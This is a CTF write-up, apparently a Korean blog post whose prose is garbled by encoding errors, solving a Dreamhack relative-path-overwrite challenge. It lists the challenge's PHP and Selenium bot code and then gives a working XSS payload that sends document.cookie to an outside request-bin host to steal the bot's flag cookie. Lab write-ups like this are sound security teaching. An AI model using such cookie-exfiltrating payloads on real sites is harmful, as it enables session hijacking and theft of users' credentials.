[2025-08-17] RPO

๐Ÿฆฅ ๋ณธ๋ฌธ

  • bot.py

      from selenium import webdriver
      from selenium.webdriver.chrome.service import Service
      import sys
      import base64
        
      if len(sys.argv) < 2:
          exit(-1)
        
      if len(sys.argv[1]) == 0:
          exit(-1)
        
      path = base64.b64decode(sys.argv[1]).decode('latin-1')
        
      try:
          FLAG = open('/flag.txt', 'r').read()
      except:
          FLAG = '[**FLAG**]'
        
      def read_url(url, cookie={'name': 'name', 'value': 'value'}):
          cookie.update({'domain':'127.0.0.1'})
          try:
              service = Service(executable_path="/chromedriver")
              options = webdriver.ChromeOptions()
              for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
                  options.add_argument(_)
              driver = webdriver.Chrome(service=service, options=options)
              driver.implicitly_wait(3)
              driver.set_page_load_timeout(3)
              driver.get('http://127.0.0.1/')
              driver.add_cookie(cookie)
              driver.get(url)
        
          except Exception as e:
              driver.quit()
              return False
          driver.quit()
          return True
        
      def check_xss(path, cookie={'name': 'name', 'value': 'value'}):
          url = f'http://127.0.0.1/{path}'
          return read_url(url, cookie)
        
      if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}):
          print('<script>alert("wrong??");history.go(-1);</script>')
      else:
          print('<script>alert("good");history.go(-1);</script>')
        
    
    • check_xss() ์—์„œ ์ฟ ํ‚ค์— flag๋ฅผ ์ง‘์–ด ๋„ฃ๊ณ  read_url()์„ ํ†ตํ•ด ์›น๋“œ๋ผ์ด๋ฒ„๋กœ ์‹คํ–‰
  • index.php

      <html>
      <head>
      <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
      <title>Relative-Path-Overwrite</title>
      </head>
      <body>
          <!-- Fixed navbar -->
          <nav class="navbar navbar-default navbar-fixed-top">
            <div class="container">
              <div class="navbar-header">
                <a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
              </div>
              <div id="navbar">
                <ul class="nav navbar-nav">
                  <li><a href="/">Home</a></li>
                  <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
                  <li><a href="/?page=report">Report</a></li>
                </ul>
        
              </div><!--/.nav-collapse -->
            </div>
          </nav><br/><br/><br/>
          <div class="container">
            <?php
                $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
                if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
                    include $page;
            ?>
          </div> 
      </body>
      </html>
        
    
    • page ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด .php ํŒŒ์ผ ์‹คํ–‰. ์ด ๋•Œ ..์ด๋‚˜ :์ด๋‚˜ /๋Š” ํ•„ํ„ฐ๋ง
  • report.php

      <?php
      if(isset($_POST['path'])){
          exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
          echo($output[0]);
      }
      ?>
        
      <form method="POST" class="form-inline">
          <div class="form-group">
              <label class="sr-only" for="path">/</label>
              <div class="input-group">
                  <div class="input-group-addon">http://127.0.0.1/</div>
                  <input type="text" class="form-control" id="path" name="path" placeholder="/">
              </div>
          </div>
          <button type="submit" class="btn btn-primary">Report</button>
      </form>
        
    
    • ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ ์‹คํ–‰

        python3 /bot.py <Base64๋กœ ์ธ์ฝ”๋”ฉ๋œ path> 2>/dev/null &
      
      • ์ด ๋•Œ escape๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ CLI Injection ํ”ผํ•จ
      • 2>/dev/null : ์—๋Ÿฌ ์ถœ๋ ฅ์€ ์ „๋ถ€ ๋ฌด์‹œ
      • & : ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์‹คํ–‰
  • vuln.php

      <script src="filter.js"></script>
      <pre id=param></pre>
      <script>
          var param_elem = document.getElementById("param");
          var url = new URL(window.location.href);
          var param = url.searchParams.get("param");
          if (typeof filter !== 'undefined') {
              for (var i = 0; i < filter.length; i++) {
                  if (param.toLowerCase().includes(filter[i])) {
                      param = "nope !!";
                      break;
                  }
              }
          }
        
          param_elem.innerHTML = param;
      </script>
    
    • ํ˜„์žฌ URL์˜ param ๊ฐ’์„ ๊ฐ€์ ธ์™€์„œ ํ•„ํ„ฐ๋ง ํ›„ <pre> ํƒœ๊ทธ์— ์ง‘์–ด ๋„ฃ์Œ
    • filter.js๊ฐ€ ์ƒ๋Œ€ ์ฃผ์†Œ๋กœ ๋˜์–ด ์žˆ์–ด์„œ ํ•„ํ„ฐ๋ง์„ ์ˆ˜ํ–‰ ์•ˆ ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Œ

flag๋ฅผ ์–ป์œผ๋ ค๋ฉด ์›น๋“œ๋ผ์ด๋ฒ„์— ๋“ค์–ด๊ฐ€์„œ ์ฟ ํ‚ค์— ์žˆ๋Š” ๊ฐ’์„ ์•Œ์•„๋‚ด์•ผ ํ•จ.

์ฆ‰ ์ฒซ๋ฒˆ์งธ๋กœ๋Š” /report API์— ์š”์ฒญ์„ ๋ณด๋‚ด์•ผ ํ•จ

index.php์—์„œ ํŽ˜์ด์ง€๋ฅผ ์‹คํ–‰์‹œ์ผœ์•ผ ์ƒ๋Œ€ ๊ฒฝ๋กœ์ธ fileter.js์˜ ํ•„ํ„ฐ๋ง์„ ํ”ผํ•  ์ˆ˜ ์žˆ์Œ

๊ทธ๋ฆฌ๊ณ  ์ฟ ํ‚ค๋ฅผ ์–ป์œผ๋ ค๋ฉด ์™ธ๋ถ€์—์„œ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ด์•ผ ํ•จ

ํ’€์ด ๊ณผ์ •

  1. report ํŽ˜์ด์ง€ ๋‚ด์—์„œ ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ ์‚ฝ์ž… ํ›„ ๋ณด๋ƒ„

     index.php/?page=vuln&param=<img src=@ onerror=location.href="https://ejjwaqq.request.dreamhack.games/"%2bdocument.cookie>
    
    • ์›น ๋“œ๋ผ์ด๋ฒ„์—์„œ index.php๋ฅผ ๋“ค์–ด๊ฐ. ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ vuln.php๋ฅผ ์‹คํ–‰
    • vuln.php์—์„œ <img onerror>๋ฅผ ํ†ตํ•ด๋“œ๋ฆผํ•ต ํˆด์ฆˆ๋กœ ์ฟ ํ‚ค๋ฅผ ๋ณด๋ƒ„
    • ์ธ์ฝ”๋”ฉ โ†’ ๋””์ฝ”๋”ฉ โ†’ ๋””์ฝ”๋”ฉ ์ˆœ์œผ๋กœ ์ง„ํ–‰๋˜๋ฏ€๋กœ + ๋Š” ๋ฏธ๋ฆฌ ์ธ์ฝ”๋”ฉ์„ ์‹œ์ผœ๋†”์•ผ ํ•จ
    • ๊ทธ๋ฆฌ๊ณ  ์ด๋•Œ filter.js๋Š” index.php/filter.js ๊ฐ™์ด ์ž˜๋ชป๋œ ๊ฒฝ๋กœ๋กœ ์š”์ฒญ
  2. ๋“œ๋ฆผํ•ต ํˆด์ฆˆ์—์„œ ํ•ด๋‹นํ•˜๋Š” flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Œ

Categories:

Updated:

Leave a comment